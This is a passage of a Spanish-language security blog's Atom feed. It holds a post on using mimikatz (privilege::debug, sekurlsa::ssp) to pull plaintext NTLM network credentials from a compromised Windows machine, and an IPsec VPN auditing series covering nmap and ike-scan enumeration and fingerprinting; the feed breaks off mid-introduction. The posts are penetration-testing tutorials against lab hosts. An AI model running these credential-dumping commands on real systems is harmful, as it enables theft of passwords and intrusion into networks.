src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-5141296955071481856</id><published>2013-01-16T08:45:00.000+01:00</published><updated>2013-01-16T19:59:25.198+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="credenciales"/><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><title type='text'>Recuperando contraseñas de red Windows con mimikatz</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s1600/Weakest-Link.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s200/Weakest-Link.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Los que me conocen, saben que &lt;a href=&quot;http://blog.gentilkiwi.com/mimikatz&quot; target=&quot;_blank&quot;&gt;mimikatz&lt;/a&gt; es una de mis herramientas favoritas a la hora de sacar contraseñas y otra información útil de un sistema Windows. Y esto es debido a que&amp;nbsp;&lt;a href=&quot;https://twitter.com/gentilkiwi&quot; target=&quot;_blank&quot;&gt;Gentil Kiwi&lt;/a&gt; (el autor) no para de mejorarla, investigando nuevas &quot;funcionalidades&quot; que Microsoft no reconoce como vulnerabilidades pero que son un riesgo para la seguridad de los usuarios.&lt;br /&gt;
&lt;br /&gt;
Hasta hace poco, mimikatz tan sólo mostraba en texto claro las contraseñas de los usuarios que hubieran iniciado una sesión interactiva en el equipo (iniciando sesión localmente, a través de escritorio remoto...). Hace una semana, se publicó una nueva versión que permitía recuperar &lt;strike&gt;las contraseñas que se han utilizado para crear alguna tarea programada y&lt;/strike&gt;&amp;nbsp;cualquier contraseña de tipo&amp;nbsp;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms925900.aspx&quot; target=&quot;_blank&quot;&gt;CRED_TYPE_DOMAIN_PASSWORD&lt;/a&gt;, esto incluye contraseñas que se hayan utilizado para crear tareas programadas, sesiones guardadas de RDP..., y hoy he podido probar una última versión, que permite obtener las contraseñas que se utilizan al conectarse a un sistema remoto sin llegar a iniciar sesión, por ejemplo, si nos conectamos a una unidad de red remota.&lt;br /&gt;
&lt;br /&gt;
Ésta es una funcionalidad muy esperada porque puede servir para recuperar más credenciales de un sistema una vez comprometido. El problema que le he visto, es que se recuperan las credenciales de los sistemas a los que nos conectamos desde el equipo comprometido, pero no la de las cuentas que se conectan a dicho equipo. Es decir, que si se comprometiera un servidor de ficheros, no podríamos recuperar las contraseñas de todos los usuarios conectados al mismo. Pero por el contrario, si se compromete una estación de trabajo de un administrador que tiene diferentes contraseñas con las que conectarse a diferentes recursos de red, podremos recuperar todas esas contraseñas.&lt;br /&gt;
&lt;br /&gt;
De momento habrá que aprovechar la nueva funcionalidad mientras esperamos algo que nos permita recuperar las credenciales de las cuentas conectadas a un equipo.&lt;br /&gt;
&lt;br /&gt;
La prueba que he hecho ha sido conectarme desde un sistema Windows (TEST) a un segundo (PRUEBAS01) y ejecutar después mimikatz en TEST. Éste ha sido el resultado:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;C:\&amp;gt;mimikatz.exe
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan 15 2013 06:20:17) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d&#39;ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::ssp

Authentification Id         : 0;997
Package d&#39;authentification  : Negotiate
Utilisateur principal       : SERVICIO LOCAL
Domaine d&#39;authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;38685
Package d&#39;authentification  : NTLM
Utilisateur principal       : TEST
Domaine d&#39;authentification  : TEST-863C3D4E8A
        ssp :
         [0] { admin ; PRUEBAS01 ; EstaEsMiPassword123 }

Authentification Id         : 0;996
Package d&#39;authentification  : Negotiate
Utilisateur principal       : Servicio de red
Domaine d&#39;authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;31314
Package d&#39;authentification  : NTLM
Utilisateur principal       :
Domaine d&#39;authentification  :
        ssp :

Authentification Id         : 0;999
Package d&#39;authentification  : NTLM
Utilisateur principal       : TEST-863C3D4E8A$
Domaine d&#39;authentification  : GRUPO_TRABAJO
        ssp :

mimikatz #
&lt;/pre&gt;
&lt;br /&gt;
Como se puede ver, mimikatz lista los recursos externos en los que hay una sesión iniciada y las credenciales que se han utilizado para conectarse.&lt;br /&gt;
&lt;br /&gt;
¡Ojo! Ahora mismo, esta nueva funcionalidad tan sólo obtiene las credenciales utilizadas para conectarse a otros sistemas en los procesos de autenticación que se haya utilizado NTLM como protocolo. Es decir, que si en una red local, las conexiones remotas se negocian a través de Kerberos, mimikatz no podrá sacar las credenciales en claro.&lt;br /&gt;
&lt;br /&gt;
Interesante, ¿no?</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2013/01/recuperando-contrasenas-de-red-windows.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/5141296955071481856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/5141296955071481856'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2013/01/recuperando-contrasenas-de-red-windows.html' title='Recuperando contraseñas de red Windows con mimikatz'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s72-c/Weakest-Link.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-505086723793924266</id><published>2012-11-26T08:45:00.000+01:00</published><updated>2014-02-10T12:09:42.603+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Protocolos"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>Auditando VPNs (III): Fingerprinting</title><content type='html'>&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;Auditando VPNs (I): Introducción a IPsec&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot;&gt;Auditando VPNs (II): Enumeración&lt;/a&gt;
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-iii-fingerprinting.html&quot;&gt;Auditando VPNs (III): Fingerprinting&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html&quot;&gt;Auditando VPNs (IV): Cifrado&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html&quot;&gt;Auditando VPNs (V): Modo Agresivo&lt;/a&gt;
  ****************************************************&lt;/pre&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://farm1.staticflickr.com/220/505513640_8849a854db_o.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://farm1.staticflickr.com/220/505513640_8849a854db_o.jpg&quot; height=&quot;150&quot; width=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Una vez que hemos detectado que la VPN se está ejecutando, conviene saber el tipo de dispositivo con el que estamos trabajando.&lt;br /&gt;
&lt;br /&gt;
Existen dos mecanismos principales para identificar el tipo de servidor que está ejecutando el servicio de VPN. El primero de ellos consiste en la manera que tiene el servidor de responder a las peticiones de un cliente de establecer una conexión con él. Me explico...&lt;br /&gt;
&lt;br /&gt;
IKE funciona bajo UDP, que es un protocolo no orientado a conexión.&amp;nbsp;Por este motivo, no hay ninguna manera de saber si un paquete ha llegado a su destinatario más allá que esperar a recibir la respuesta a dicho paquete. Si la respuesta no se recibe, se puede entender que el paquete se perdió, en cuyo caso podría ser necesario reenviarlo.&lt;br /&gt;
&lt;br /&gt;
El primer método de fingerprinting, por tanto, consiste en enviar un paquete al servidor y esperar su respuesta. En una conexión normal, el cliente debería continuar la comunicación con el servidor pero, ¿qué pasa si no se continúa? El servidor esperará un tiempo determinado y reenviará el paquete. Así un número determinado de veces hasta que deje de intentarlo.&lt;br /&gt;
&lt;br /&gt;
La RFC de IKE no establece cómo se debe llevar a cabo el reenvío de paquetes (&lt;i&gt;backoff&lt;/i&gt; en inglés), por lo que cada fabricante implementa su propio algoritmo, cambiando los tiempos entre un reenvío y el siguiente y el número de reenvíos total. Esto permite identificar el tipo de servidor que está ofreciendo el servicio de VPN.&lt;br /&gt;
&lt;br /&gt;
A este mecanismo se le conoce como&amp;nbsp;&lt;b&gt;UDP Backoff Fingerprinting&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Ike-scan tiene una base de datos con los diferentes tiempos de respuesta de diferentes fabricantes, por lo identificar el fabricante puede resultar bastante sencillo con la opción&amp;nbsp;--showbackoff:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;$ sudo ike-scan --showbackoff  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=a7a845233446a9e5)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.48.226.227   1       1351694781.627450       0.000000
10.48.226.227   2       1351694791.638280       10.010830
10.48.226.227   3       1351694811.659880       20.021600
10.48.226.227   Implementation guess: &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Linux FreeS/WAN, OpenSwan, strongSwan&lt;/span&gt;&lt;/b&gt;

Ending ike-scan 1.9: 1 hosts scanned in 90.134 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify&lt;/pre&gt;
&lt;br /&gt;
Hay que tener paciencia con este comando, ya que el reenvío entre paquetes puede tardar bastante. Si te fijas en la columna &quot;Delta Time&quot;, el primer reenvío se hace tras esperar 10 segundos, pero entre el segundo y el tercero, el servidor se espera 20 segundos.&lt;br /&gt;
&lt;br /&gt;
Finalmente, ike-scan determina que el servicio VPN lo está ofreciendo Linux FreeS/WAN, OpenSwan ó strongSwan. Como aporte decir que, al menos en este caso, no se equivoca ya que el servidor con el que realicé las pruebas es un OpenSwan.&lt;br /&gt;
&lt;br /&gt;
El segundo mecanismo para identificar el tipo de servidor que está ejecutando el servicio VPN está ligado al &lt;b&gt;&lt;i&gt;Vendor ID&lt;/i&gt;&amp;nbsp;&lt;/b&gt;o VID.&lt;br /&gt;
&lt;br /&gt;
El VID es un identificador único que determina la implementación de IKE que está siendo usada. Cada fabricante (&lt;i&gt;vendor&lt;/i&gt;) utiliza un VID único, por lo que conociéndolo debería ser suficiente para identificarlo.&lt;br /&gt;
&lt;br /&gt;
En el ejemplo anterior, el VID es &quot;4f45755c645c6a795c5c6170&quot; que, si &lt;a href=&quot;http://lmgtfy.com/?q=4f45755c645c6a795c5c6170&quot; target=&quot;_blank&quot;&gt;buscamos en Internet&lt;/a&gt; podemos comprobar que está asociado a OpenSwan.&lt;br /&gt;
&lt;br /&gt;
Así parece sencillo identificar el fabricante. El problema es que lo habitual es que el servidor no indique el VID a menos que el cliente lo envíe previamente y, para ello, hay que conocer el fabricante. En la documentación oficial de ike-scan se puede obtener un listado de VIDs con los que probar:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.nta-monitor.com/wiki/index.php/IKE_Implementation_Analysis&quot;&gt;http://www.nta-monitor.com/wiki/index.php/IKE_Implementation_Analysis&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
La opción &quot;--vendor&quot; de ike-scan permite indicar el fabricante con el que queremos probar a la espera de que sea el usado por el servidor y éste nos lo confirme devolviéndolo de nuevo en su respuesta.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/11/auditando-vpns-iii-fingerprinting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/505086723793924266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/505086723793924266'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/11/auditando-vpns-iii-fingerprinting.html' title='Auditando VPNs (III): Fingerprinting'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-2218633956789882873</id><published>2012-11-04T08:30:00.000+01:00</published><updated>2014-02-10T12:09:45.326+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Protocolos"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>Auditando VPNs (II): Enumeración</title><content type='html'>&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;Auditando VPNs (I): Introducción a IPsec&lt;/a&gt;
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot;&gt;Auditando VPNs (II): Enumeración&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-iii-fingerprinting.html&quot;&gt;Auditando VPNs (III): Fingerprinting&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html&quot;&gt;Auditando VPNs (IV): Cifrado&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html&quot;&gt;Auditando VPNs (V): Modo Agresivo&lt;/a&gt;
  ****************************************************&lt;/pre&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidQDSU9jhrJ92wpOXWYD0HX_QJT7ld2fMmPo-d0hs__uJWz1vGPugkl5C8idBPv_DIpqAe7A4X8BvEbjt-H03y-DYh4qua9vZWgvG_9jiKeP3i69wAhz935uGeGmXSKW-Cw2r4Gdbdnvcs/s1600/419-droopy.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidQDSU9jhrJ92wpOXWYD0HX_QJT7ld2fMmPo-d0hs__uJWz1vGPugkl5C8idBPv_DIpqAe7A4X8BvEbjt-H03y-DYh4qua9vZWgvG_9jiKeP3i69wAhz935uGeGmXSKW-Cw2r4Gdbdnvcs/s200/419-droopy.jpg&quot; height=&quot;100&quot; width=&quot;67&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Tras el rápido repaso que hice sobre IPsec en&amp;nbsp;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;la entrada anterior&lt;/a&gt;, vamos a ver cómo identificar un concentrador/servidor de VPNs basado en IPsec.&lt;br /&gt;
&lt;br /&gt;
Por defecto, el protocolo &lt;b&gt;IKE se ejecuta en el puerto 500 UDP&lt;/b&gt;, por lo que en principio un simple escáner de puertos debería bastar para identificarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.227

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 16:25 CET
Nmap scan report for 10.48.226.227
Host is up (0.00088s latency).
PORT    STATE SERVICE VERSION
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;500/udp open  isakmp&lt;/span&gt;&lt;/b&gt;
MAC Address: 08:00:27:12:F5:94 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
&lt;/pre&gt;
&lt;br /&gt;
Nmap nos dice que el servicio está ahí, pero no nos aporta mucha más información. Herramientas más específicas como &lt;a href=&quot;http://www.nta-monitor.com/wiki/index.php/Ike-scan_Documentation&quot; target=&quot;_blank&quot;&gt;ike-scan&lt;/a&gt; o &lt;a href=&quot;http://www.ernw.de/download/ikeprobe.zip&quot; target=&quot;_blank&quot;&gt;IKEProbe&lt;/a&gt; nos pueden aportar más información de una sola pasada:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;$ sudo ike-scan  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Main Mode&lt;/b&gt;&lt;/span&gt; Handshake returned
        HDR=(CKY-R=8d0a997d0846794f)
        &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)&lt;/span&gt;&lt;/b&gt;
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (66.44 hosts/sec).  1 returned handshake; 0 returned notify
&lt;/pre&gt;
&lt;br /&gt;
Nota: La opción --multiline (-M) de ike-scan tan sólo sirve para que la información la presente en varias líneas y seas más legible.&lt;br /&gt;
&lt;br /&gt;
En el ejemplo anterior, vamos que se ha podido establecer una conexión utilizando el &lt;i&gt;Main Mode&lt;/i&gt;.&amp;nbsp;Además, se han negociado los atributos que se utilizarían para definir el túnel (&lt;i&gt;Security Association&lt;/i&gt; ó SA) que se utilizará en la segunda fase del protocolo IKE.&lt;br /&gt;
&lt;br /&gt;
Los atributos seleccionados son 3DES como algoritmo de cifrado, SHA1 como algoritmo de hash, PSK como método de autenticación y el grupo 2 (modp1024) para el algoritmo Diffie-Hellman. Al conjunto de todos los atributos se le denomina &lt;span style=&quot;background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19.200000762939453px;&quot;&gt;&lt;i&gt;&lt;b&gt;transform&lt;/b&gt;&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Sin embargo, no siempre obtenemos una respuesta parecida a la anterior cuando lanzamos ike-scan. Veamos un ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;$ sudo ike-scan --multiline 10.48.226.228
10.48.226.228   &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Notify message 14 (NO-PROPOSAL-CHOSEN)&lt;/span&gt;&lt;/b&gt;
        HDR=(CKY-R=03c337535f8887a3)
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;
En este caso, vemos que el servidor nos devuelve una notificación con el mensaje NO-PROPOSAL-CHOSEN. Esto significa que el servicio está ahí pero estamos en alguno de los dos siguientes escenarios:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;El servidor de VPNs tiene filtrado por IP, por lo que no nos podremos conectar mientras no sea desde alguna de las que tiene en su lista de direcciones permitidas.&lt;/li&gt;
&lt;li&gt;No estamos usando ninguna&amp;nbsp;&lt;i&gt;transform&lt;/i&gt;&amp;nbsp;soportada por el servidor.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
Fíjate que he dicho &quot;ninguna&quot; y no &quot;una&quot;. Esto es así porque por defecto, ike-scan envía 8&amp;nbsp;&lt;i&gt;transforms&lt;/i&gt;&amp;nbsp;para que el servidor escoja una. Las opciones que manda son las ocho combinaciones posibles que salen con los siguientes parámetros:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Para algoritmo de cifrado: DES y 3DES&lt;/li&gt;
&lt;li&gt;Para algoritmo de hash: MD5 y SHA-1&lt;/li&gt;
&lt;li&gt;Para grupo de Diffie-Hellman: 1 (modp768) y 2 (modp1024)&lt;/li&gt;
&lt;/ul&gt;
Además, el método de autenticación siempre es PSK y la duración del túnel (SA Lifetime)&amp;nbsp;28800 segundos.&lt;br /&gt;
&lt;br /&gt;
Si nos encontráramos en este caso, tendríamos que probar diferentes &lt;i&gt;transforms &lt;/i&gt;hasta que diéramos con la adecuada. Si no lo conseguimos, entonces no hay mucho más que hacer porque estaríamos en el caso de que existe una lista de IPs permitidas desde las que se puede establecer la conexión con el servidor.&lt;br /&gt;
&lt;br /&gt;
Pero en este caso, en el que el servidor de VPN nos devuelva una notificación, ¿nmap también detecta el servicio? Pues la respuesta es que no siempre:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.228

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 17:16 CET
Nmap scan report for 10.48.226.228
Host is up (0.43s latency).
PORT    STATE SERVICE VERSION
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;500/udp open  isakmp?&lt;/span&gt;&lt;/b&gt;

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.35 seconds
&lt;/pre&gt;
&lt;br /&gt;
Sí, nos dice que el puerto está abierto, pero no es capaz de identificar el servicio. Moraleja: cuando tengas duda de si realmente es un servicio VPN, utiliza ike-scan.&lt;br /&gt;
&lt;br /&gt;
Nota: El cómo probar con diferentes &lt;i&gt;transforms&lt;/i&gt; lo veremos más adelante, en la cuarta entrega, cuando hablemos del cifrado.&lt;br /&gt;
&lt;br /&gt;
En la próxima parte veremos cómo identificar el tipo de servidor que está sirviendo el servicio de VPN.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/11/auditando-vpns-ii-enumeracion.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/2218633956789882873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/2218633956789882873'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/11/auditando-vpns-ii-enumeracion.html' title='Auditando VPNs (II): Enumeración'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidQDSU9jhrJ92wpOXWYD0HX_QJT7ld2fMmPo-d0hs__uJWz1vGPugkl5C8idBPv_DIpqAe7A4X8BvEbjt-H03y-DYh4qua9vZWgvG_9jiKeP3i69wAhz935uGeGmXSKW-Cw2r4Gdbdnvcs/s72-c/419-droopy.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-8077719106951981696</id><published>2012-10-31T08:30:00.000+01:00</published><updated>2014-02-10T12:09:33.165+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Protocolos"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>Auditando VPNs (I): Introducción a IPsec</title><content type='html'>&lt;pre&gt;  ****************************************************
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;Auditando VPNs (I): Introducción a IPsec&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot;&gt;Auditando VPNs (II): Enumeración&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-iii-fingerprinting.html&quot;&gt;Auditando VPNs (III): Fingerprinting&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html&quot;&gt;Auditando VPNs (IV): Cifrado&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html&quot;&gt;Auditando VPNs (V): Modo Agresivo&lt;/a&gt;
  ****************************************************&lt;/pre&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU8-3dP51bAdO7PQWZwaPEwR9ZT3UeAg6eWyipxVQDmArVCOWGX8G1daDMS9r75eYEHOgQrsa1jf7ftYuOjQtl9shWJ_ZIv2b7v2T2qYAcLZn2UB-y7ZWVYlDYsiw1NMP1zWZ4msRmBIQn/s1600/Candado.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU8-3dP51bAdO7PQWZwaPEwR9ZT3UeAg6eWyipxVQDmArVCOWGX8G1daDMS9r75eYEHOgQrsa1jf7ftYuOjQtl9shWJ_ZIv2b7v2T2qYAcLZn2UB-y7ZWVYlDYsiw1NMP1zWZ4msRmBIQn/s200/Candado.png&quot; height=&quot;200&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;Durante las auditorías externas es muy común encontrarse con concentradores de VPN y no siempre sabemos qué tipo de pruebas realizar sobre estos sistemas.&lt;br /&gt;
&lt;br /&gt;
En una serie de entradas voy a tratar las pruebas más frecuentes que se deben realizar sobre este tipo de dispositivos, centrándonos siempre en las VPN basadas en IPsec (no las basadas en SSL).&lt;br /&gt;
&lt;br /&gt;
En esta entrada voy a comenzar hablando por el principio, introduciendo los conceptos básicos con los que trataremos en el resto de entradas.&lt;br /&gt;
&lt;br /&gt;
Según Wikipedia, &lt;a href=&quot;http://es.wikipedia.org/wiki/IPsec&quot; target=&quot;_blank&quot;&gt;IPsec&lt;/a&gt; (Internet Protocol security) es un conjunto de protocolos cuya función es asegurar las comunicaciones sobre el Protocolo de Internet (IP) autenticando y/o cifrando cada paquete IP en un flujo de datos además de proveer de un mecanismo para el establecimiento de claves de cifrado.&lt;br /&gt;
&lt;br /&gt;
IPsec, por tanto, está formado por tres protocolos:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Authentication Header (AH)&lt;/b&gt;: Este protocolo se utiliza para proporcionar integridad a nivel de paquete por medio de un checksum que se envía junto al paquete. Otros servicios que proporciona son autenticación del origen de los datos y, opcionalmente, protección frente a ataques de replay.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Encapsulating Security Payload (ESP)&lt;/b&gt;: Este protocolo cifra la comunicación punto a punto, proporcionando confidencialidad. También proporciona&amp;nbsp;autenticación del origen de los datos,&amp;nbsp;protección frente a ataques de replay e integridad.&lt;/li&gt;
